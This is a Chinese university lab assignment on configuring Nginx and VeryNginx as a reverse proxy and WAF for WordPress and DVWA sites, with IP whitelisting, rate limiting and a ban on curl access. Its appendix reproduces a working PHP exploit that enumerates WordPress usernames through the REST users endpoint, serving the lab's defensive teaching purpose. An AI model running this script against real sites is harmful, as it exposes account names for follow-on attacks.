Linux系统与网络管理

黄玮

第五章:Web服务器(实验)

软件环境建议

实验检查点

基本要求

  • 在一台主机(虚拟机)上同时配置NginxVeryNginx
    • VeryNginx作为本次实验的Web App的反向代理服务器和WAF
    • PHP-FPM进程的反向代理配置在nginx服务器上,VeryNginx服务器不直接配置Web站点服务
  • 使用Wordpress搭建的站点对外提供访问的地址为: http://wp.sec.cuc.edu.cn
  • 使用Damn Vulnerable Web Application (DVWA)搭建的站点对外提供访问的地址为: http://dvwa.sec.cuc.edu.cn

安全加固要求

VeryNginx配置要求

  • VeryNginx的Web管理页面仅允许白名单上的访客来源IP,其他来源的IP访问均向访客展示自定义的友好错误提示信息页面-3
  • 通过定制VeryNginx的访问控制策略规则实现:
    • 限制DVWA站点的单IP访问速率为每秒请求数 < 50
    • 限制Wordpress站点的单IP访问速率为每秒请求数 < 20
    • 超过访问频率限制的请求直接返回自定义错误提示信息页面-4
    • 禁止curl访问

附录

WordPress < 4.7.1 - Username Enumeration

#!usr/bin/php
<?php
 
#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: dctoralves@protonmail.ch
#Site: https://mateuslino.tk 
header ('Content-type: text/html; charset=UTF-8');
 
 
$url= "http://localhost/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
    echo "*-----------------------------*\n";
foreach($json as $users){
    echo "[*] ID :  |" .$users['id']     ."|\n";
    echo "[*] Name: |" .$users['name']   ."|\n";
    echo "[*] User :|" .$users['slug']   ."|\n";
    echo "\n";
}echo "*-----------------------------*";} 
else{echo "[*] No user";}